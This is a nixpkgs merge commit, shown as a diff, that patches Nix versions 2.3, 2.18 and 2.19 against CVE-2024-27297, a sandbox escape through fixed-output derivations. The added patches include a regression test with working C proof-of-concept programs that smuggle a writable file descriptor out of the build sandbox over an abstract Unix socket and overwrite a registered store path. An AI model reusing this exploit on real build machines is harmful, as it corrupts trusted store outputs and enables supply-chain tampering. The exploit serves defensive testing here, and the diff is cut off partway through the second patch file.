Merge pull request #294031 from RaitoBezarius/cve-2024-27297
nixVersions.nix_2_{3,18,19}: address CVE-2024-27297
This commit is contained in:
commit
413506a7ca
5 changed files with 1175 additions and 0 deletions
|
@ -15,6 +15,14 @@ let
|
|||
atLeast210 = lib.versionAtLeast version "2.10pre";
|
||||
atLeast213 = lib.versionAtLeast version "2.13pre";
|
||||
atLeast214 = lib.versionAtLeast version "2.14pre";
|
||||
atLeast221 = lib.versionAtLeast version "2.21pre";
|
||||
# Major.minor versions unaffected by CVE-2024-27297
|
||||
unaffectedByFodSandboxEscape = [
|
||||
"2.3"
|
||||
"2.18"
|
||||
"2.19"
|
||||
"2.20"
|
||||
];
|
||||
in
|
||||
{ stdenv
|
||||
, autoconf-archive
|
||||
|
@ -249,6 +257,7 @@ self = stdenv.mkDerivation {
|
|||
platforms = platforms.unix;
|
||||
outputsToInstall = [ "out" ] ++ optional enableDocumentation "man";
|
||||
mainProgram = "nix";
|
||||
knownVulnerabilities = lib.optional (!builtins.elem (lib.versions.majorMinor version) unaffectedByFodSandboxEscape && !atLeast221) "CVE-2024-27297";
|
||||
};
|
||||
};
|
||||
in self
|
||||
|
|
|
@ -156,6 +156,7 @@ in lib.makeExtensible (self: ({
|
|||
hash = "sha256-EK0pgHDekJFqr0oMj+8ANIjq96WPjICe2s0m4xkUdH4=";
|
||||
patches = [
|
||||
patch-monitorfdhup
|
||||
./patches/2_3/CVE-2024-27297.patch
|
||||
];
|
||||
maintainers = with lib.maintainers; [ flokli raitobezarius ];
|
||||
}).override { boehmgc = boehmgc-nix_2_3; };
|
||||
|
@ -234,12 +235,16 @@ in lib.makeExtensible (self: ({
|
|||
hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
|
||||
patches = [
|
||||
patch-rapidcheck-shared
|
||||
./patches/2_18/CVE-2024-27297.patch
|
||||
];
|
||||
};
|
||||
|
||||
nix_2_19 = common {
|
||||
version = "2.19.3";
|
||||
hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo=";
|
||||
patches = [
|
||||
./patches/2_19/CVE-2024-27297.patch
|
||||
];
|
||||
};
|
||||
|
||||
# The minimum Nix version supported by Nixpkgs
|
||||
|
|
|
@ -0,0 +1,379 @@
|
|||
From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
|
||||
From: Tom Bereknyei <tomberek@gmail.com>
|
||||
Date: Fri, 1 Mar 2024 03:42:26 -0500
|
||||
Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
|
||||
|
||||
Test that we can't leverage abstract unix domain sockets to leak file
|
||||
descriptors out of the sandbox and modify the path after it has been
|
||||
registered.
|
||||
|
||||
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
|
||||
---
|
||||
flake.nix | 2 +
|
||||
tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
|
||||
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
|
||||
tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
|
||||
4 files changed, 223 insertions(+)
|
||||
create mode 100644 tests/nixos/ca-fd-leak/default.nix
|
||||
create mode 100644 tests/nixos/ca-fd-leak/sender.c
|
||||
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
|
||||
|
||||
diff --git a/flake.nix b/flake.nix
|
||||
index 230bb6031..4a54c660f 100644
|
||||
--- a/flake.nix
|
||||
+++ b/flake.nix
|
||||
@@ -634,6 +634,8 @@
|
||||
["i686-linux" "x86_64-linux"]
|
||||
(system: runNixOSTestFor system ./tests/nixos/setuid.nix);
|
||||
|
||||
+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
|
||||
+
|
||||
|
||||
# Make sure that nix-env still produces the exact same result
|
||||
# on a particular version of Nixpkgs.
|
||||
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
|
||||
new file mode 100644
|
||||
index 000000000..a6ae72adc
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/default.nix
|
||||
@@ -0,0 +1,90 @@
|
||||
+# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||
+# sandbox: Network access is normally blocked off, but to download sources, a
|
||||
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||
+# The detail here is not important, but in our case it means that the hash of
|
||||
+# the output has to be known beforehand. And if you know that, you get a few
|
||||
+# rights: you no longer run inside a special network namespace!
|
||||
+#
|
||||
+# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||
+# unix domain sockets! Not only that, but those are namespaced using the
|
||||
+# network namespace! That means that we have a way to create sockets that are
|
||||
+# available in every single fixed-output derivation, and also all processes
|
||||
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||
+# well, the whole idea is that the output is pure, and all processes in the
|
||||
+# sandbox are killed before finalizing the output. What if we didn't need those
|
||||
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||
+# file descriptors around!
|
||||
+# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||
+# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||
+# the contents of the store path after it has been registered.
|
||||
+
|
||||
+{ config, ... }:
|
||||
+
|
||||
+let
|
||||
+ pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
+
|
||||
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||
+ # domain socket.
|
||||
+ # Compiled statically so that we can easily send it to the VM and use it
|
||||
+ # inside the build sandbox.
|
||||
+ sender = pkgs.runCommandWith {
|
||||
+ name = "sender";
|
||||
+ stdenv = pkgs.pkgsStatic.stdenv;
|
||||
+ } ''
|
||||
+ $CC -static -o $out ${./sender.c}
|
||||
+ '';
|
||||
+
|
||||
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||
+ # lives in a mount namespace where it is not! So even when this file exists
|
||||
+ # in the actual Nix store, we're capable of just modifying its contents...
|
||||
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||
+
|
||||
+ # The abstract socket path used to exfiltrate the file descriptor
|
||||
+ socketName = "FODSandboxExfiltrationSocket";
|
||||
+in
|
||||
+{
|
||||
+ name = "ca-fd-leak";
|
||||
+
|
||||
+ nodes.machine =
|
||||
+ { config, lib, pkgs, ... }:
|
||||
+ { virtualisation.writableStore = true;
|
||||
+ nix.settings.substituters = lib.mkForce [ ];
|
||||
+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||
+ };
|
||||
+
|
||||
+ testScript = { nodes }: ''
|
||||
+ start_all()
|
||||
+
|
||||
+ machine.succeed("echo hello")
|
||||
+ # Start the smuggler server
|
||||
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||
+
|
||||
+ # Build the smuggled derivation.
|
||||
+ # This will connect to the smuggler server and send it the file descriptor
|
||||
+ machine.succeed(r"""
|
||||
+ nix-build -E '
|
||||
+ builtins.derivation {
|
||||
+ name = "smuggled";
|
||||
+ system = builtins.currentSystem;
|
||||
+ # look ma, no tricks!
|
||||
+ outputHashMode = "flat";
|
||||
+ outputHashAlgo = "sha256";
|
||||
+ outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||
+ }'
|
||||
+ """.strip())
|
||||
+
|
||||
+
|
||||
+ # Tell the smuggler server that we're done
|
||||
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
+
|
||||
+ # Check that the file was not modified
|
||||
+ machine.succeed(r"""
|
||||
+ cat ./result
|
||||
+ test "$(cat ./result)" = "hello, world"
|
||||
+ """.strip())
|
||||
+ '';
|
||||
+
|
||||
+}
|
||||
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
|
||||
new file mode 100644
|
||||
index 000000000..75e54fc8f
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/sender.c
|
||||
@@ -0,0 +1,65 @@
|
||||
+#include <sys/socket.h>
|
||||
+#include <sys/un.h>
|
||||
+#include <stdlib.h>
|
||||
+#include <stddef.h>
|
||||
+#include <stdio.h>
|
||||
+#include <unistd.h>
|
||||
+#include <fcntl.h>
|
||||
+#include <errno.h>
|
||||
+#include <string.h>
|
||||
+#include <assert.h>
|
||||
+
|
||||
+int main(int argc, char **argv) {
|
||||
+
|
||||
+ assert(argc == 2);
|
||||
+
|
||||
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
+
|
||||
+ // Set up a abstract domain socket path to connect to.
|
||||
+ struct sockaddr_un data;
|
||||
+ data.sun_family = AF_UNIX;
|
||||
+ data.sun_path[0] = 0;
|
||||
+ strcpy(data.sun_path + 1, argv[1]);
|
||||
+
|
||||
+ // Now try to connect, To ensure we work no matter what order we are
|
||||
+ // executed in, just busyloop here.
|
||||
+ int res = -1;
|
||||
+ while (res < 0) {
|
||||
+ res = connect(sock, (const struct sockaddr *)&data,
|
||||
+ offsetof(struct sockaddr_un, sun_path)
|
||||
+ + strlen(argv[1])
|
||||
+ + 1);
|
||||
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||
+ if (errno != ECONNREFUSED) break;
|
||||
+ }
|
||||
+
|
||||
+ // Write our message header.
|
||||
+ struct msghdr msg = {0};
|
||||
+ msg.msg_control = malloc(128);
|
||||
+ msg.msg_controllen = 128;
|
||||
+
|
||||
+ // Write an SCM_RIGHTS message containing the output path.
|
||||
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
+ hdr->cmsg_level = SOL_SOCKET;
|
||||
+ hdr->cmsg_type = SCM_RIGHTS;
|
||||
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||
+
|
||||
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||
+
|
||||
+ // Write a single null byte too.
|
||||
+ msg.msg_iov = malloc(sizeof(struct iovec));
|
||||
+ msg.msg_iov[0].iov_base = "";
|
||||
+ msg.msg_iov[0].iov_len = 1;
|
||||
+ msg.msg_iovlen = 1;
|
||||
+
|
||||
+ // Send it to the othher side of this connection.
|
||||
+ res = sendmsg(sock, &msg, 0);
|
||||
+ if (res < 0) perror("sendmsg");
|
||||
+ int buf;
|
||||
+
|
||||
+ // Wait for the server to close the socket, implying that it has
|
||||
+ // received the commmand.
|
||||
+ recv(sock, (void *)&buf, sizeof(int), 0);
|
||||
+}
|
||||
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
|
||||
new file mode 100644
|
||||
index 000000000..82acf37e6
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/smuggler.c
|
||||
@@ -0,0 +1,66 @@
|
||||
+#include <sys/socket.h>
|
||||
+#include <sys/un.h>
|
||||
+#include <stdlib.h>
|
||||
+#include <stddef.h>
|
||||
+#include <stdio.h>
|
||||
+#include <unistd.h>
|
||||
+#include <assert.h>
|
||||
+
|
||||
+int main(int argc, char **argv) {
|
||||
+
|
||||
+ assert(argc == 2);
|
||||
+
|
||||
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
+
|
||||
+ // Bind to the socket.
|
||||
+ struct sockaddr_un data;
|
||||
+ data.sun_family = AF_UNIX;
|
||||
+ data.sun_path[0] = 0;
|
||||
+ strcpy(data.sun_path + 1, argv[1]);
|
||||
+ int res = bind(sock, (const struct sockaddr *)&data,
|
||||
+ offsetof(struct sockaddr_un, sun_path)
|
||||
+ + strlen(argv[1])
|
||||
+ + 1);
|
||||
+ if (res < 0) perror("bind");
|
||||
+
|
||||
+ res = listen(sock, 1);
|
||||
+ if (res < 0) perror("listen");
|
||||
+
|
||||
+ int smuggling_fd = -1;
|
||||
+
|
||||
+ // Accept the connection a first time to receive the file descriptor.
|
||||
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||
+ int a = accept(sock, 0, 0);
|
||||
+ if (a < 0) perror("accept");
|
||||
+
|
||||
+ struct msghdr msg = {0};
|
||||
+ msg.msg_control = malloc(128);
|
||||
+ msg.msg_controllen = 128;
|
||||
+
|
||||
+ // Receive the file descriptor as sent by the smuggler.
|
||||
+ recvmsg(a, &msg, 0);
|
||||
+
|
||||
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
+ while (hdr) {
|
||||
+ if (hdr->cmsg_level == SOL_SOCKET
|
||||
+ && hdr->cmsg_type == SCM_RIGHTS) {
|
||||
+
|
||||
+ // Grab the copy of the file descriptor.
|
||||
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||
+ }
|
||||
+
|
||||
+ hdr = CMSG_NXTHDR(&msg, hdr);
|
||||
+ }
|
||||
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||
+ close(a);
|
||||
+
|
||||
+ // Wait for a second connection, which will tell us that the build is
|
||||
+ // done
|
||||
+ a = accept(sock, 0, 0);
|
||||
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||
+ // Write a new content to the file
|
||||
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||
+ char * new_content = "Pwned\n";
|
||||
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||
+ if (written_bytes != strlen(new_content)) perror("write");
|
||||
+}
|
||||
--
|
||||
2.42.0
|
||||
|
||||
|
||||
From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
|
||||
From: Tom Bereknyei <tomberek@gmail.com>
|
||||
Date: Fri, 1 Mar 2024 03:45:39 -0500
|
||||
Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
|
||||
registering them
|
||||
|
||||
It is possible to exfiltrate a file descriptor out of the build sandbox
|
||||
of FODs, and use it to modify the store path after it has been
|
||||
registered.
|
||||
To avoid that issue, don't register the output of the build, but a copy
|
||||
of it (that will be free of any leaked file descriptor).
|
||||
|
||||
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
|
||||
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
|
||||
---
|
||||
src/libstore/build/local-derivation-goal.cc | 6 ++++++
|
||||
src/libutil/filesystem.cc | 6 ++++++
|
||||
src/libutil/util.hh | 7 +++++++
|
||||
3 files changed, 19 insertions(+)
|
||||
|
||||
diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
|
||||
index 64b55ca6a..f1e22f829 100644
|
||||
--- a/src/libstore/build/local-derivation-goal.cc
|
||||
+++ b/src/libstore/build/local-derivation-goal.cc
|
||||
@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
|
||||
[&](const DerivationOutput::CAFixed & dof) {
|
||||
auto & wanted = dof.ca.hash;
|
||||
|
||||
+ // Replace the output by a fresh copy of itself to make sure
|
||||
+ // that there's no stale file descriptor pointing to it
|
||||
+ Path tmpOutput = actualPath + ".tmp";
|
||||
+ copyFile(actualPath, tmpOutput, true);
|
||||
+ renameFile(tmpOutput, actualPath);
|
||||
+
|
||||
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
|
||||
.method = dof.ca.method,
|
||||
.hashType = wanted.type,
|
||||
diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
|
||||
index 11cc0c0e7..2a7787c0e 100644
|
||||
--- a/src/libutil/filesystem.cc
|
||||
+++ b/src/libutil/filesystem.cc
|
||||
@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
|
||||
}
|
||||
}
|
||||
|
||||
+
|
||||
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
|
||||
+{
|
||||
+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
|
||||
+}
|
||||
+
|
||||
void renameFile(const Path & oldName, const Path & newName)
|
||||
{
|
||||
fs::rename(oldName, newName);
|
||||
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
|
||||
index b302d6f45..59d42e0a5 100644
|
||||
--- a/src/libutil/util.hh
|
||||
+++ b/src/libutil/util.hh
|
||||
@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
|
||||
*/
|
||||
void moveFile(const Path & src, const Path & dst);
|
||||
|
||||
+/**
|
||||
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
|
||||
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
|
||||
+ * with the guaranty that the destination will be “fresh”, with no stale inode
|
||||
+ * or file descriptor pointing to it).
|
||||
+ */
|
||||
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
|
||||
|
||||
/**
|
||||
* Wrappers arount read()/write() that read/write exactly the
|
||||
--
|
||||
2.42.0
|
||||
|
||||
|
||||
From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
|
||||
From: Tom Bereknyei <tomberek@gmail.com>
|
||||
Date: Fri, 1 Mar 2024 04:01:23 -0500
|
||||
Subject: [PATCH 3/3] Add release notes
|
||||
|
||||
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
|
||||
---
|
||||
doc/manual/src/release-notes/rl-next.md | 8 ++++++++
|
||||
1 file changed, 8 insertions(+)
|
||||
|
||||
diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
|
||||
index c869b5e2f..f77513385 100644
|
||||
--- a/doc/manual/src/release-notes/rl-next.md
|
||||
+++ b/doc/manual/src/release-notes/rl-next.md
|
||||
@@ -1 +1,9 @@
|
||||
# Release X.Y (202?-??-??)
|
||||
+
|
||||
+- Fix a FOD sandbox escape:
|
||||
+ Cooperating Nix derivations could send file descriptors to files in the Nix
|
||||
+ store to each other via Unix domain sockets in the abstract namespace. This
|
||||
+ allowed one derivation to modify the output of the other derivation, after Nix
|
||||
+ has registered the path as "valid" and immutable in the Nix database.
|
||||
+ In particular, this allowed the output of fixed-output derivations to be
|
||||
+ modified from their expected content. This isn't the case any more.
|
||||
--
|
||||
2.42.0
|
||||
|
|
@ -0,0 +1,407 @@
|
|||
From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
|
||||
<theophane.hufschmitt@tweag.io>
|
||||
Date: Mon, 12 Feb 2024 21:28:20 +0100
|
||||
Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
|
||||
|
||||
Test that we can't leverage abstract unix domain sockets to leak file
|
||||
descriptors out of the sandbox and modify the path after it has been
|
||||
registered.
|
||||
---
|
||||
tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
|
||||
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
|
||||
tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
|
||||
tests/nixos/default.nix | 2 +
|
||||
4 files changed, 223 insertions(+)
|
||||
create mode 100644 tests/nixos/ca-fd-leak/default.nix
|
||||
create mode 100644 tests/nixos/ca-fd-leak/sender.c
|
||||
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
|
||||
|
||||
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
|
||||
new file mode 100644
|
||||
index 000000000..40e57ea02
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/default.nix
|
||||
@@ -0,0 +1,90 @@
|
||||
+# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||
+# sandbox: Network access is normally blocked off, but to download sources, a
|
||||
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||
+# The detail here is not important, but in our case it means that the hash of
|
||||
+# the output has to be known beforehand. And if you know that, you get a few
|
||||
+# rights: you no longer run inside a special network namespace!
|
||||
+#
|
||||
+# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||
+# unix domain sockets! Not only that, but those are namespaced using the
|
||||
+# network namespace! That means that we have a way to create sockets that are
|
||||
+# available in every single fixed-output derivation, and also all processes
|
||||
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||
+# well, the whole idea is that the output is pure, and all processes in the
|
||||
+# sandbox are killed before finalizing the output. What if we didn't need those
|
||||
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||
+# file descriptors around!
|
||||
+# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||
+# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||
+# the contents of the store path after it has been registered.
|
||||
+
|
||||
+{ config, ... }:
|
||||
+
|
||||
+let
|
||||
+ pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
+
|
||||
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||
+ # domain socket.
|
||||
+ # Compiled statically so that we can easily send it to the VM and use it
|
||||
+ # inside the build sandbox.
|
||||
+ sender = pkgs.runCommandWith {
|
||||
+ name = "sender";
|
||||
+ stdenv = pkgs.pkgsStatic.stdenv;
|
||||
+ } ''
|
||||
+ $CC -static -o $out ${./sender.c}
|
||||
+ '';
|
||||
+
|
||||
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||
+ # lives in a mount namespace where it is not! So even when this file exists
|
||||
+ # in the actual Nix store, we're capable of just modifying its contents...
|
||||
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||
+
|
||||
+ # The abstract socket path used to exfiltrate the file descriptor
|
||||
+ socketName = "FODSandboxExfiltrationSocket";
|
||||
+in
|
||||
+{
|
||||
+ name = "ca-fd-leak";
|
||||
+
|
||||
+ nodes.machine =
|
||||
+ { config, lib, pkgs, ... }:
|
||||
+ { virtualisation.writableStore = true;
|
||||
+ nix.settings.substituters = lib.mkForce [ ];
|
||||
+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||
+ };
|
||||
+
|
||||
+ testScript = { nodes }: ''
|
||||
+ start_all()
|
||||
+
|
||||
+ machine.succeed("echo hello")
|
||||
+ # Start the smuggler server
|
||||
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||
+
|
||||
+ # Build the smuggled derivation.
|
||||
+ # This will connect to the smuggler server and send it the file descriptor
|
||||
+ machine.succeed(r"""
|
||||
+ nix-build -E '
|
||||
+ builtins.derivation {
|
||||
+ name = "smuggled";
|
||||
+ system = builtins.currentSystem;
|
||||
+ # look ma, no tricks!
|
||||
+ outputHashMode = "flat";
|
||||
+ outputHashAlgo = "sha256";
|
||||
+ outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||
+ }'
|
||||
+ """.strip())
|
||||
+
|
||||
+
|
||||
+ # Tell the smuggler server that we're done
|
||||
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
+
|
||||
+ # Check that the file was modified
|
||||
+ machine.succeed(r"""
|
||||
+ cat ./result
|
||||
+ test "$(cat ./result)" = "hello, world"
|
||||
+ """.strip())
|
||||
+ '';
|
||||
+
|
||||
+}
|
||||
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
|
||||
new file mode 100644
|
||||
index 000000000..75e54fc8f
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/sender.c
|
||||
@@ -0,0 +1,65 @@
|
||||
+#include <sys/socket.h>
|
||||
+#include <sys/un.h>
|
||||
+#include <stdlib.h>
|
||||
+#include <stddef.h>
|
||||
+#include <stdio.h>
|
||||
+#include <unistd.h>
|
||||
+#include <fcntl.h>
|
||||
+#include <errno.h>
|
||||
+#include <string.h>
|
||||
+#include <assert.h>
|
||||
+
|
||||
+int main(int argc, char **argv) {
|
||||
+
|
||||
+ assert(argc == 2);
|
||||
+
|
||||
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
+
|
||||
+ // Set up a abstract domain socket path to connect to.
|
||||
+ struct sockaddr_un data;
|
||||
+ data.sun_family = AF_UNIX;
|
||||
+ data.sun_path[0] = 0;
|
||||
+ strcpy(data.sun_path + 1, argv[1]);
|
||||
+
|
||||
+ // Now try to connect, To ensure we work no matter what order we are
|
||||
+ // executed in, just busyloop here.
|
||||
+ int res = -1;
|
||||
+ while (res < 0) {
|
||||
+ res = connect(sock, (const struct sockaddr *)&data,
|
||||
+ offsetof(struct sockaddr_un, sun_path)
|
||||
+ + strlen(argv[1])
|
||||
+ + 1);
|
||||
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||
+ if (errno != ECONNREFUSED) break;
|
||||
+ }
|
||||
+
|
||||
+ // Write our message header.
|
||||
+ struct msghdr msg = {0};
|
||||
+ msg.msg_control = malloc(128);
|
||||
+ msg.msg_controllen = 128;
|
||||
+
|
||||
+ // Write an SCM_RIGHTS message containing the output path.
|
||||
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
+ hdr->cmsg_level = SOL_SOCKET;
|
||||
+ hdr->cmsg_type = SCM_RIGHTS;
|
||||
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||
+
|
||||
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||
+
|
||||
+ // Write a single null byte too.
|
||||
+ msg.msg_iov = malloc(sizeof(struct iovec));
|
||||
+ msg.msg_iov[0].iov_base = "";
|
||||
+ msg.msg_iov[0].iov_len = 1;
|
||||
+ msg.msg_iovlen = 1;
|
||||
+
|
||||
+ // Send it to the othher side of this connection.
|
||||
+ res = sendmsg(sock, &msg, 0);
|
||||
+ if (res < 0) perror("sendmsg");
|
||||
+ int buf;
|
||||
+
|
||||
+ // Wait for the server to close the socket, implying that it has
|
||||
+ // received the commmand.
|
||||
+ recv(sock, (void *)&buf, sizeof(int), 0);
|
||||
+}
|
||||
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
|
||||
new file mode 100644
|
||||
index 000000000..82acf37e6
|
||||
--- /dev/null
|
||||
+++ b/tests/nixos/ca-fd-leak/smuggler.c
|
||||
@@ -0,0 +1,66 @@
|
||||
+#include <sys/socket.h>
|
||||
+#include <sys/un.h>
|
||||
+#include <stdlib.h>
|
||||
+#include <stddef.h>
|
||||
+#include <stdio.h>
|
||||
+#include <unistd.h>
|
||||
+#include <assert.h>
|
||||
+
|
||||
+int main(int argc, char **argv) {
|
||||
+
|
||||
+ assert(argc == 2);
|
||||
+
|
||||
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
+
|
||||
+ // Bind to the socket.
|
||||
+ struct sockaddr_un data;
|
||||
+ data.sun_family = AF_UNIX;
|
||||
+ data.sun_path[0] = 0;
|
||||
+ strcpy(data.sun_path + 1, argv[1]);
|
||||
+ int res = bind(sock, (const struct sockaddr *)&data,
|
||||
+ offsetof(struct sockaddr_un, sun_path)
|
||||
+ + strlen(argv[1])
|
||||
+ + 1);
|
||||
+ if (res < 0) perror("bind");
|
||||
+
|
||||
+ res = listen(sock, 1);
|
||||
+ if (res < 0) perror("listen");
|
||||
+
|
||||
+ int smuggling_fd = -1;
|
||||
+
|
||||
+ // Accept the connection a first time to receive the file descriptor.
|
||||
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||
+ int a = accept(sock, 0, 0);
|
||||
+ if (a < 0) perror("accept");
|
||||
+
|
||||
+ struct msghdr msg = {0};
|
||||
+ msg.msg_control = malloc(128);
|
||||
+ msg.msg_controllen = 128;
|
||||
+
|
||||
+ // Receive the file descriptor as sent by the smuggler.
|
||||
+ recvmsg(a, &msg, 0);
|
||||
+
|
||||
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
+ while (hdr) {
|
||||
+ if (hdr->cmsg_level == SOL_SOCKET
|
||||
+ && hdr->cmsg_type == SCM_RIGHTS) {
|
||||
+
|
||||
+ // Grab the copy of the file descriptor.
|
||||
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||
+ }
|
||||
+
|
||||
+ hdr = CMSG_NXTHDR(&msg, hdr);
|
||||
+ }
|
||||
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||
+ close(a);
|
||||
+
|
||||
+ // Wait for a second connection, which will tell us that the build is
|
||||
+ // done
|
||||
+ a = accept(sock, 0, 0);
|
||||
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||
+ // Write a new content to the file
|
||||
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||
+ char * new_content = "Pwned\n";
|
||||
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||
+ if (written_bytes != strlen(new_content)) perror("write");
|
